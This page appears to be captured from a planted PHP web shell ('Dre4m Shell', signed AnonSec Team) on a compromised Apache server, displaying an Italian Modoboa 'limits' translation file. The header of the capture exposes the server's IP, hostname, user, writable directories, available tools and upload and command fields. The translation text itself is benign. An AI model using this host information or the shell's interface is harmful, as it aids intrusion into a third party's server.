Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.216.57.57
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/modoboa/limits/locale/it/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/modoboa/limits/locale/it/LC_MESSAGES/django.po
# SOME DESCRIPTIVE TITLE.
# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
# This file is distributed under the same license as the PACKAGE package.
#
# Translators:
# Giancarlo Gaifas <lallo@artiemestieri.tn.it>, 2013
# marcotrevisan <mrctrevisan@yahoo.it>, 2018
# Rocco <mors10@hotmail.com>, 2015
msgid ""
msgstr ""
"Project-Id-Version: Modoboa\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-05-06 13:15+0200\n"
"PO-Revision-Date: 2018-11-02 14:34+0000\n"
"Last-Translator: marcotrevisan <mrctrevisan@yahoo.it>\n"
"Language-Team: Italian (http://www.transifex.com/tonio/modoboa/language/"
"it/)\n"
"Language: it\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: limits/app_settings.py:15
msgid "Default per-admin limits"
msgstr "Limiti predefiniti per amministratore"

#: limits/app_settings.py:18
msgid "Enable per-admin limits"
msgstr "Abilita i limiti per amministratore"

#: limits/app_settings.py:20
msgid "Enable or disable per-admin limits"
msgstr "Abilita o disabilita i limiti per amministratore"

#: limits/app_settings.py:24 limits/app_settings.py:95 limits/constants.py:24
#: limits/constants.py:54
msgid "Domain admins"
msgstr "Amministratori di domini"

#: limits/app_settings.py:27
msgid ""
"Maximum number of allowed domain administrators for a new administrator. (0 "
"to deny any creation, -1 to allow unlimited creations)"
msgstr ""
"Il numero massimo di domini amministrabili per nuovi amministratori. (0 per "
"disabilitare la creazione, -1 per permettere la creazione illimitata)"

#: limits/app_settings.py:35 limits/constants.py:9
msgid "Domains"
msgstr "Domini"

#: limits/app_settings.py:38
msgid ""
"Maximum number of allowed domains for a new administrator. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Il numero massimo di domini per nuovi amministratori. (0 per disabilitare la "
"creazione, -1 per permettere la creazione illimitata)"

#: limits/app_settings.py:45 limits/app_settings.py:106 limits/constants.py:13
#: limits/constants.py:41
msgid "Domain aliases"
msgstr "Alias del dominio"

#: limits/app_settings.py:48
msgid ""
"Maximum number of allowed domain aliases for a new administrator. (0 to deny "
"any creation, -1 to allow unlimited creations)"
msgstr ""
"Il numero massimo di alias per nuovi amministratori. (0 per disabilitare la "
"creazione, -1 per permettere la creazione illimitata)"

#: limits/app_settings.py:56 limits/app_settings.py:117 limits/constants.py:17
#: limits/constants.py:45
msgid "Mailboxes"
msgstr "Caselle di posta"

#: limits/app_settings.py:59
msgid ""
"Maximum number of allowed mailboxes for a new administrator. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Il numero massimo di caselle di posta elettronica per nuovi amministratori. "
"(0 per disabilitare la creazione, -1 per permettere la creazione illimitata)"

#: limits/app_settings.py:66 limits/app_settings.py:127 limits/constants.py:20
#: limits/constants.py:48
msgid "Mailbox aliases"
msgstr "Alias delle caselle di posta"

#: limits/app_settings.py:69
msgid ""
"Maximum number of allowed aliases for a new administrator. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Il numero massimo di alias per nuovi amministratori. (0 per disabilitare la "
"creazione, -1 per permettere la creazione illimitata)"

#: limits/app_settings.py:76 limits/constants.py:30
msgid "Quota"
msgstr "Dimensione massima"

#: limits/app_settings.py:79
msgid ""
"The quota a reseller will be allowed to share between the domains he "
"creates. (0 means no quota)"
msgstr ""
"La dimensione massima che un rivenditore potrà condividere tra i domini che "
"crea. (0 significa nessun limite)"

#: limits/app_settings.py:86
msgid "Default per-domain limits"
msgstr "Limiti predefiniti per dominio"

#: limits/app_settings.py:89
msgid "Enable per-domain limits"
msgstr "Abilita i limiti per dominio"

#: limits/app_settings.py:91
msgid "Enable or disable per-domain limits"
msgstr "Abilita o disabilita i limiti per dominio"

#: limits/app_settings.py:98
msgid ""
"Maximum number of allowed domain administrators for a new domain. (0 to deny "
"any creation, -1 to allow unlimited creations)"
msgstr ""
"Numero massimo di amministratori di dominio consentiti per un nuovo dominio. "
"(0 per negare qualunque creazione, -1 per permetterne senza limiti)"

#: limits/app_settings.py:109
msgid ""
"Maximum number of allowed domain aliases for a new domain. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Numero massimo di alias di dominio consentiti per un nuovo dominio. (0 per "
"negare qualunque creazione, -1 per permetterne senza limiti)"

#: limits/app_settings.py:120
msgid ""
"Maximum number of allowed mailboxes for a new domain. (0 to deny any "
"creation, -1 to allow unlimited creations)"
msgstr ""
"Numero massimo di caselle di posta consentite per un nuovo dominio. (0 per "
"negare qualunque creazione, -1 per permetterne senza limiti)"

#: limits/app_settings.py:130
msgid ""
"Maximum number of allowed aliases for a new domain. (0 to deny any creation, "
"-1 to allow unlimited creations)"
msgstr ""
"Numero massimo di alias consentiti per un nuovo dominio. (0 per negare "
"qualunque creazione, -1 per permetterne senza limiti)"

#: limits/apps.py:12
msgid "Limits"
msgstr "Limiti"

#: limits/constants.py:10
msgid "Maximum number of domains this user can create"
msgstr "Numero massimo di domini che questo utente può creare"

#: limits/constants.py:14
msgid "Maximum number of domain aliases this user can create"
msgstr "Numero massimo di alias di dominio che questo utente può creare"

#: limits/constants.py:18
msgid "Maximum number of mailboxes this user can create"
msgstr "Numero massimo di caselle di posta che questo utente può creare"

#: limits/constants.py:21
msgid "Maximum number of mailbox aliases this user can create"
msgstr ""
"Numero massimo di alias di caselle di posta che questo utente può creare"

#: limits/constants.py:25
msgid "Maximum number of domain administrators this user can create"
msgstr ""
"Numero massimo di amministratori di dominio che questo utente può creare"

#: limits/constants.py:31
msgid "Quota shared between domains of this reseller"
msgstr "Dimensione massima condivisa per i domini di questo rivenditore"

#: limits/constants.py:42
msgid "Maximum number of domain aliases allowed for this domain."
msgstr "Massimo numero di alias di dominio permessi per questo dominio."

#: limits/constants.py:46
msgid "Maximum number of mailboxes allowed for this domain."
msgstr "Numero massimo di caselle di posta consentite per questo dominio."

#: limits/constants.py:50
msgid "Maximum number of mailbox aliases allowed for this domain."
msgstr ""
"Numero massimo di alias di caselle di posta consentite per questo dominio."

#: limits/constants.py:55
msgid "Maximum number of domain admins allowed for this domain."
msgstr ""
"Numero massimo di amministratori di dominio consentiti per questo dominio."

#: limits/forms.py:38 limits/forms.py:87
msgid "Invalid limit"
msgstr "Limite non valido"

#: limits/handlers.py:117 limits/handlers.py:153
msgid "Resources"
msgstr "Risorse"

#: limits/lib.py:19
#, python-format
msgid "%s: limit reached"
msgstr "%s: raggiunto il limite"

#: limits/lib.py:29
msgid "Not enough resources"
msgstr "Risorse insufficienti"

#: limits/lib.py:47 limits/models.py:48
msgid "You're not allowed to define unlimited values"
msgstr "Non ti è consentito definire valori non limitati"

#: limits/models.py:58 limits/models.py:123
msgid "unlimited"
msgstr "senza limiti"

#: limits/templates/limits/poolusage.html:3
#: limits/templates/limits/resources_widget.html:5
msgid "Resources usage"
msgstr "Utilizzo risorse"

Anon7 - 2022
AnonSec Team